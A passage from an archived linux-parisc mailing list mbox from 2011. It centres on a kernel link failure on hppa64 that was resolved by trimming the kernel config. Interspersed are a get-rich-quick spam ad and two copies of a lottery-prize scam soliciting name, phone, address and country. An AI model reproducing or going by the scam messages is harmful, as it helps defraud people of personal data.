  LD      .tmp_vmlinux1
  KSYM    .tmp_kallsyms1.S
  AS      .tmp_kallsyms1.o
  LD      .tmp_vmlinux2
/tmp/hppa64/bin/hppa64-linux-ld:
arch/parisc/mm/built-in.o(.init.text+0xed0): cannot reach
flush_tlb_all_local
/tmp/hppa64/bin/hppa64-linux-ld: BFD (GNU Binutils) 2.21.1 internal
error, aborting at ../../binutils-2.21.1/bfd/elf64-hppa.c line 3956 in
elf64_hppa_relocate_section

/tmp/hppa64/bin/hppa64-linux-ld: Please report this bug.

make: *** [.tmp_vmlinux2] Error 1



Any clues?
-Graham
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rolf Eike Beer" <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: failure to link kernel 3.0.3 with cross
 binutils-2.21.1/gcc-4.6.1
Date: Tue, 13 Sep 2011 09:48:55 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <19867f38b905e3efcd5cb2d254dc5aa6.squirrel@webmail.sf-mail.de>
References: <CAFk90B8F17-o3HqRGygu8OUb-Ncurqi-Ui+_u9kfaqmQG5nK4Q@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: dough.gmane.org 1315900143 19986 80.91.229.12 (13 Sep 2011 07:49:03 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 13 Sep 2011 07:49:03 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: "Graham Gower" <graham.gower@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 13 09:48:59 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1R3Njm-0004z8-D2
	for glpp-linux-parisc@lo.gmane.org; Tue, 13 Sep 2011 09:48:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754970Ab1IMHs6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 13 Sep 2011 03:48:58 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:43247 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754854Ab1IMHs5 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 13 Sep 2011 03:48:57 -0400
Original-Received: (qmail 5148 invoked by uid 81); 13 Sep 2011 07:48:55 -0000
Original-Received: from 80.150.94.234
        (SquirrelMail authenticated user eike@sf-mail.de)
        by webmail.sf-mail.de with HTTP;
        Tue, 13 Sep 2011 09:48:55 +0200
In-Reply-To: <CAFk90B8F17-o3HqRGygu8OUb-Ncurqi-Ui+_u9kfaqmQG5nK4Q@mail.gmail.com>
User-Agent: SquirrelMail/1.4.22
X-Priority: 3 (Normal)
Importance: Normal
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3947
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3947>

> grg@eye7:/mnt/1T/hppa/linux-3.0$ make vmlinux ARCH=parisc
> CROSS_COMPILE=/tmp/hppa64/bin/hppa64-linux-
>   CHK     include/linux/version.h
>   CHK     include/generated/utsrelease.h
>   CALL    scripts/checksyscalls.sh
>   CHK     include/generated/compile.h
>   LD      vmlinux.o
>   MODPOST vmlinux.o
>   GEN     .version
>   CHK     include/generated/compile.h
>   UPD     include/generated/compile.h
>   CC      init/version.o
>   LD      init/built-in.o
>   LD      .tmp_vmlinux1
>   KSYM    .tmp_kallsyms1.S
>   AS      .tmp_kallsyms1.o
>   LD      .tmp_vmlinux2
> /tmp/hppa64/bin/hppa64-linux-ld:
> arch/parisc/mm/built-in.o(.init.text+0xed0): cannot reach
> flush_tlb_all_local
> /tmp/hppa64/bin/hppa64-linux-ld: BFD (GNU Binutils) 2.21.1 internal
> error, aborting at ../../binutils-2.21.1/bfd/elf64-hppa.c line 3956 in
> elf64_hppa_relocate_section
>
> /tmp/hppa64/bin/hppa64-linux-ld: Please report this bug.
>
> make: *** [.tmp_vmlinux2] Error 1
>
> Any clues?

Maybe related to this:

http://sourceware.org/bugzilla/show_bug.cgi?id=13168

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: failure to link kernel 3.0.3 with cross binutils-2.21.1/gcc-4.6.1
Date: Tue, 13 Sep 2011 09:55:37 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <4E6F60D9.5030203@bell.net>
References: <CAFk90B8F17-o3HqRGygu8OUb-Ncurqi-Ui+_u9kfaqmQG5nK4Q@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1315922145 16575 80.91.229.12 (13 Sep 2011 13:55:45 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 13 Sep 2011 13:55:45 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Graham Gower <graham.gower@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 13 15:55:40 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1R3TSe-00076D-F8
	for glpp-linux-parisc@lo.gmane.org; Tue, 13 Sep 2011 15:55:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753816Ab1IMNzi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 13 Sep 2011 09:55:38 -0400
Original-Received: from mail16.primus.ca ([216.254.141.183]:59433 "EHLO
	mail-01.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1753709Ab1IMNzi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 13 Sep 2011 09:55:38 -0400
Original-Received: from luxcom.gta.igs.net ([216.58.85.197] helo=[192.168.0.129])
	by mail-01.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1R3TSb-0006bd-1K; Tue, 13 Sep 2011 09:55:37 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:6.0.2) Gecko/20110902 Thunderbird/6.0.2
In-Reply-To: <CAFk90B8F17-o3HqRGygu8OUb-Ncurqi-Ui+_u9kfaqmQG5nK4Q@mail.gmail.com>
X-Authenticated: danglin-lux@magma.ca - luxcom.gta.igs.net ([192.168.0.129]) [216.58.85.197]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3948
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3948>

On 9/13/2011 3:20 AM, Graham Gower wrote:
> /tmp/hppa64/bin/hppa64-linux-ld:
> arch/parisc/mm/built-in.o(.init.text+0xed0): cannot reach
> flush_tlb_all_local
> /tmp/hppa64/bin/hppa64-linux-ld: BFD (GNU Binutils) 2.21.1 internal
> error, aborting at ../../binutils-2.21.1/bfd/elf64-hppa.c line 3956 in
> elf64_hppa_relocate_section
>
> Any clues?
Check the relocation at arch/parisc/mm/built-in.o(.init.text+0xed0) with 
readelf
or objdump.  It should be R_PARISC_PCREL22F.  If this isn't a 22-bit branch,
then the call needs changing (e.g., change a bl to b,l).

If this is a 22-bit call, then you will have to remove some stuff from 
your .config.
Maybe use more modules.

The hppa64 linker doesn't have stub support  for long calls.  The maximum
branch distance (R_PARISC_PCREL22F) is 8388608 bytes.

Stub support could be added to hppa64 in a manner similar to that for 
hppa32,
but there isn't a 64-bit userspace except on HP-UX.  On HP-UX, the HP linker
is better.  I made a number of changes a few years ago to make this possible
but there's still quite a bit of work involved.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: failure to link kernel 3.0.3 with cross binutils-2.21.1/gcc-4.6.1
Date: Tue, 13 Sep 2011 10:03:08 -0400
Lines: 52
Approved: news@gmane.org
Message-ID: <4E6F629C.2040705@bell.net>
References: <CAFk90B8F17-o3HqRGygu8OUb-Ncurqi-Ui+_u9kfaqmQG5nK4Q@mail.gmail.com> <19867f38b905e3efcd5cb2d254dc5aa6.squirrel@webmail.sf-mail.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1315922603 19994 80.91.229.12 (13 Sep 2011 14:03:23 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 13 Sep 2011 14:03:23 +0000 (UTC)
Cc: Graham Gower <graham.gower@gmail.com>, linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 13 16:03:17 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1R3TZu-0001Xq-VJ
	for glpp-linux-parisc@lo.gmane.org; Tue, 13 Sep 2011 16:03:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751503Ab1IMODK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 13 Sep 2011 10:03:10 -0400
Original-Received: from mail16.primus.ca ([216.254.141.183]:51545 "EHLO
	mail-08.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751431Ab1IMODK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 13 Sep 2011 10:03:10 -0400
Original-Received: from luxcom.gta.igs.net ([216.58.85.197] helo=[192.168.0.129])
	by mail-08.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1R3TZs-0004W3-0k; Tue, 13 Sep 2011 10:03:08 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:6.0.2) Gecko/20110902 Thunderbird/6.0.2
In-Reply-To: <19867f38b905e3efcd5cb2d254dc5aa6.squirrel@webmail.sf-mail.de>
X-Authenticated: danglin-lux@magma.ca - luxcom.gta.igs.net ([192.168.0.129]) [216.58.85.197]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3949
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3949>

On 9/13/2011 3:48 AM, Rolf Eike Beer wrote:
>> grg@eye7:/mnt/1T/hppa/linux-3.0$ make vmlinux ARCH=parisc
>> CROSS_COMPILE=/tmp/hppa64/bin/hppa64-linux-
>>    CHK     include/linux/version.h
>>    CHK     include/generated/utsrelease.h
>>    CALL    scripts/checksyscalls.sh
>>    CHK     include/generated/compile.h
>>    LD      vmlinux.o
>>    MODPOST vmlinux.o
>>    GEN     .version
>>    CHK     include/generated/compile.h
>>    UPD     include/generated/compile.h
>>    CC      init/version.o
>>    LD      init/built-in.o
>>    LD      .tmp_vmlinux1
>>    KSYM    .tmp_kallsyms1.S
>>    AS      .tmp_kallsyms1.o
>>    LD      .tmp_vmlinux2
>> /tmp/hppa64/bin/hppa64-linux-ld:
>> arch/parisc/mm/built-in.o(.init.text+0xed0): cannot reach
>> flush_tlb_all_local
>> /tmp/hppa64/bin/hppa64-linux-ld: BFD (GNU Binutils) 2.21.1 internal
>> error, aborting at ../../binutils-2.21.1/bfd/elf64-hppa.c line 3956 in
>> elf64_hppa_relocate_section
>>
>> /tmp/hppa64/bin/hppa64-linux-ld: Please report this bug.
>>
>> make: *** [.tmp_vmlinux2] Error 1
>>
>> Any clues?
> Maybe related to this:
>
> http://sourceware.org/bugzilla/show_bug.cgi?id=13168
>
>
No, the 64-bit linker is different and doesn't have stub support for 
long calls.  The above
bug is a section merging problem (specifically comdat groups).  The 
merging prevents
the normal insertion of stub sections.  It wouldn't happen if cmake 
didn't use vague linking.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Graham Gower <graham.gower@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: failure to link kernel 3.0.3 with cross binutils-2.21.1/gcc-4.6.1
Date: Wed, 14 Sep 2011 11:14:43 +0930
Lines: 13
Approved: news@gmane.org
Message-ID: <CAFk90B-FxDH8TMFq92reOjMs-hdGC0k-orGhgyAck6Q4P9EBNQ@mail.gmail.com>
References: <CAFk90B8F17-o3HqRGygu8OUb-Ncurqi-Ui+_u9kfaqmQG5nK4Q@mail.gmail.com>
	<4E6F60D9.5030203@bell.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1315964697 24809 80.91.229.12 (14 Sep 2011 01:44:57 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 14 Sep 2011 01:44:57 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 14 03:44:49 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1R3eWs-0001T0-Tt
	for glpp-linux-parisc@lo.gmane.org; Wed, 14 Sep 2011 03:44:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753556Ab1INBop (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 13 Sep 2011 21:44:45 -0400
Original-Received: from mail-wy0-f174.google.com ([74.125.82.174]:49570 "EHLO
	mail-wy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753488Ab1INBoo (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 13 Sep 2011 21:44:44 -0400
Original-Received: by wyh22 with SMTP id 22so1174640wyh.19
        for <linux-parisc@vger.kernel.org>; Tue, 13 Sep 2011 18:44:43 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=cMC9PE5pzGg/s1RVRlZhXXzbifoWl4pJy668jHd5zk0=;
        b=DTCzk3nnoif9forXLfnYxE9H3gjQNXMYIzrFZ1V+hUY84fZeGHeLe2nx6pMjjd8Tmq
         R70KmgkViD2lBOAjXfR4aKDrd327sW7JPxkYxXh87I/SqKwl14LXMf71pKlNHuDfBuvF
         2sZJjBtFnIYMfOm5ORu8x0PuTC9zRQErMmSVc=
Original-Received: by 10.227.53.212 with SMTP id n20mr2338291wbg.58.1315964683653; Tue,
 13 Sep 2011 18:44:43 -0700 (PDT)
Original-Received: by 10.227.69.140 with HTTP; Tue, 13 Sep 2011 18:44:43 -0700 (PDT)
In-Reply-To: <4E6F60D9.5030203@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3950
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3950>

On 13 September 2011 23:25, John David Anglin <dave.anglin@bell.net> wrote:
> If this is a 22-bit call, then you will have to remove some stuff from your
> .config.
> Maybe use more modules.

It was a 22 bit call and cutting down my config made it link. Thanks.

-Graham
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dan Pereira" <danp_48@yahoo.com>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: Build-a-home-based-business-on-Auto-Pilot-
Date: Tue, 13 Sep 2011 12:16:49 -0700 (PDT)
Lines: 50
Approved: news@gmane.org
Message-ID: <201109131916.p8DJGnYc004402@mail3.spagack2.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1315981165 23442 80.91.229.12 (14 Sep 2011 06:19:25 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 14 Sep 2011 06:19:25 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 14 08:19:19 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1R3ioY-0004IB-Ro
	for glpp-linux-parisc@lo.gmane.org; Wed, 14 Sep 2011 08:19:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751763Ab1INGTR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 14 Sep 2011 02:19:17 -0400
X-Warning: Original message contained 8-bit characters, however during
	   the SMTP transport session the receiving system did not announce
	   capability of receiving 8-bit SMTP (RFC 1651-1653), and as this
	   message does not have MIME headers (RFC 2045-2049) to enable
	   encoding change, we had very little choice.
X-Warning: We ASSUME it is less harmful to add the MIME headers, and
	   convert the text to Quoted-Printable, than not to do so,
	   and to strip the message to 7-bits.. (RFC 1428 Appendix A)
X-Warning: We don't know what character set the user used, thus we had to
	   write these MIME-headers with our local system default value.
Original-Received: from mail3.spagack2.com ([74.122.159.222]:51033 "EHLO
	mail3.spagack2.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751748Ab1INGTR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 14 Sep 2011 02:19:17 -0400
Original-Received: from mail3.spagack2.com (localhost.mail3.spagack2.com [127.0.0.1])
	by mail3.spagack2.com (8.13.8/8.12.7) with ESMTP id p8DJGov2004432
	for <linux-parisc@vger.kernel.org>; Tue, 13 Sep 2011 12:16:50 -0700 (PDT)
	(envelope-from u789mobs@reliablecontact.com)
Original-Received: (from cliff@localhost)
	by mail3.spagack2.com (8.13.8/8.13.1/Submit) id p8DJGnYc004402;
	Tue, 13 Sep 2011 12:16:49 -0700 (PDT)
	(envelope-from u789mobs@reliablecontact.com)
X-Authentication-Warning: mail3.spagack2.com: cliff set sender to u789mobs@reliablecontact.com using -f
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 9.4 points;
 *  4.0 RCVD_IN_SBL RBL: Received via a relay in Spamhaus SBL
 *      [74.122.159.222 listed in zen.spamhaus.org]
 *  2.0 URIBL_BLACK Contains an URL listed in the URIBL blacklist
 *      [URIs: reliablecontact.com]
 * -2.6 BAYES_00 BODY: Bayesian spam probability is 0 to 1%
 *      [score: 0.0000]
 *  2.0 URIBL_SC_SWINOG URI's listed in uribl.swinog.ch.
 *      [URIs: reliablecontact.com]
 *  4.0 URIBL_SBL Contains an URL listed in the SBL blocklist
 *      [URIs: reliablecontact.com]
Xref: news.gmane.org gmane.linux.ports.parisc:3951 gmane.spam.detected:4890716
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3951>



Hello Everyone,

Discover how average people who have never made a cent in the past
Are now making $1,000+ every month,=20
With the Potential of making $50,000 a month
Just "Plug In"... to Your
Own Fully Automated=20
  Turn Key...Global Marketing $ystem
Receive $500-$3,500 Monthly or MORE
Not MLM...and
No Selling...
No Cold Phone Calling.=20
Complete plug-in-system!

Check-it-Out!

http://trckrs.com/48184/rc7

It=92s surprisingly cool!

Dan and Noel


His was a Com.Merical adv.Sent to you by:Dan Pereira, 11383 Golf Road, =
Turlock, CA 95380
In compliance with Federal law, should you choose to Un.Subscribe from =
our network, you may do so using theUn.Subscribe instruction found belo=
w.  We are fully compliant with CAN-SPAM Act of 2005-Please use the Un.=
Subscribe link provided:








To remove this email address from further mailings click on  the link b=
elow  while connected to the internet.
http://www.reliablecontact.com/cgi-bin/maxsponder/maxuseradmin.cgi?func=
tion=3Dmanualdelete3&email=3Dlinux-parisc*vger.kernel.org&un=3Drichardp=
ereira
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: artkearney@eircom.net
Newsgroups: gmane.linux.ports.parisc
Subject: EMail ID Awarded Nine Hundred And Fifty Thousand British Pounds In
 The Benz Cash Splash
Date: Wed, 21 Sep 2011 09:12:06 +0100 (IST)
Lines: 10
Approved: news@gmane.org
Message-ID: <14650098.1221.1316592726364.JavaMail.root@webmailbox301.eircom.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1316592736 16118 80.91.229.12 (21 Sep 2011 08:12:16 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 21 Sep 2011 08:12:16 +0000 (UTC)
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 21 10:12:12 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1R6Hud-0000UK-QT
	for glpp-linux-parisc@lo.gmane.org; Wed, 21 Sep 2011 10:12:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752648Ab1IUIML (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 21 Sep 2011 04:12:11 -0400
Original-Received: from mail09.svc.cra.dublin.eircom.net ([159.134.118.25]:30503 "HELO
	mail09.svc.cra.dublin.eircom.net" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1750957Ab1IUIMK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 21 Sep 2011 04:12:10 -0400
Original-Received: (qmail 568 messnum 5391742 invoked from network[213.94.190.11/avas00.vendorsvc.cra.dublin.eircom.net]); 21 Sep 2011 08:12:09 -0000
Original-Received: from avas00.vendorsvc.cra.dublin.eircom.net (213.94.190.11)
  by mail09.svc.cra.dublin.eircom.net (qp 568) with SMTP; 21 Sep 2011 08:12:09 -0000
Original-Received: from webmailbox301.eircom.net ([86.43.60.71])
	by avas00.vendorsvc.cra.dublin.eircom.net with Cloudmark Gateway
	id bLC61h00C1YCzKq01LC95S; Wed, 21 Sep 2011 09:12:09 +0100
X-Originating-IP: [80.87.92.42]
X-Mailer: Zimbra 6.0.8_GA_2685 (ZimbraWebClient - IE8 (Win)/6.0.8_GA_2685)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3953
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3953>



send details Name, Tel, Address, Country.


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: artkearney@eircom.net
Newsgroups: gmane.linux.ports.parisc
Subject: EMail ID Awarded Nine Hundred And Fifty Thousand British Pounds In
 The Benz Cash Splash
Date: Wed, 21 Sep 2011 10:09:10 +0100 (IST)
Lines: 10
Approved: news@gmane.org
Message-ID: <1050352.2586.1316596150931.JavaMail.root@webmailbox301.eircom.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1316596161 6718 80.91.229.12 (21 Sep 2011 09:09:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 21 Sep 2011 09:09:21 +0000 (UTC)
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 21 11:09:17 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1R6Ins-0000HU-Ig
	for glpp-linux-parisc@lo.gmane.org; Wed, 21 Sep 2011 11:09:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750873Ab1IUJJQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 21 Sep 2011 05:09:16 -0400
Original-Received: from mail23.svc.cra.dublin.eircom.net ([159.134.118.145]:39772 "HELO
	mail23.svc.cra.dublin.eircom.net" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1752659Ab1IUJJP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 21 Sep 2011 05:09:15 -0400
Original-Received: (qmail 43778 messnum 8182048 invoked from network[213.94.190.14/avas02.vendorsvc.cra.dublin.eircom.net]); 21 Sep 2011 09:09:14 -0000
Original-Received: from avas02.vendorsvc.cra.dublin.eircom.net (213.94.190.14)
  by mail23.svc.cra.dublin.eircom.net (qp 43778) with SMTP; 21 Sep 2011 09:09:14 -0000
Original-Received: from webmailbox301.eircom.net ([86.43.60.71])
	by avas02.vendorsvc.cra.dublin.eircom.net with Cloudmark Gateway
	id bM9A1h00y1YCzKq01M9DE4; Wed, 21 Sep 2011 10:09:14 +0100
X-Originating-IP: [80.87.92.42]
X-Mailer: Zimbra 6.0.8_GA_2685 (ZimbraWebClient - IE8 (Win)/6.0.8_GA_2685)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3954
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3954>



send details Name, Tel, Address, Country.


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yong Zhang <yong.zhang0@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
